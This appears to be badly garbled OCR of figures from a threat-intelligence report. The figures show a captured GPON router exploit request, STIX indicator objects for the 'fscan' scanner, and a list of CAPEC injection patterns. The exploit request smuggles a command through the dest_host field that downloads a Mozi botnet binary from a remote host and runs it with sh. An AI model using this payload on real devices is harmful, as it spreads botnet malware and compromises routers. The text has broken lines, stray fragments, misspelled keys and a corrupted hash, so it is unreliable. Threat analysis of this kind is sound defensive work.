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POST /GponForm/diag_Form?images/
HTTP/1.1\r\nHost

127.0.0.1:8080\r\nConnection: keep-
alive\r\nAccept-Encoding: gzip,
deflate\r\nAccept: */*\r\nUser-Agent: Hello,
mEE: World\r\nContent-Length:
Slollgcal 4 18\r\n\n\nXWebPageName=diag&diag_act
SENBAN ion=ping&wan_conlist=0&dest_host=";wge
ERneegild {1 http://192.168.1.1:8088/Mozi.m+-O-+-
=088 . /imp/qpon8080;sh+/tmp/gpon80808tipv=

WS VEAN S PRV TAN
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Indicator
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Indicator

"name"; “fscan”,

"indicato_types": ['malicious-activity"],

"pattern”: "[ file:hashes.MD5 ="'
3f89f53b145f63aa70a23a739bcda2le ' |",

//////////////' indicates

"name": “fscan",
"indicator_types": ['malicious-activity"],
"pattern™: "[url:value = 'http://0day5.com/archives/1173/name’]"

X X

X
X XXX
X

to
00 0¥0

000
Attack Pattern

Malware

ATT&CKFICAPE
attack-pattern

[ R R IS S O R LI TRIY I WG S S Ry

—a @ Command Injection - (248)
—« HLDAP Injection - (136)
—« HIMAP/SMTP Command Injection - (183)
—mE XML Injection - (250)
— - B Manipulating Writeable Terminal Devices - (40)
—mBESOQL Injection - (66)

. B0S Command Injection - (88)

-

type": "malware”,
"name": “fscan",
"malware_types": [

" scanner "

1,
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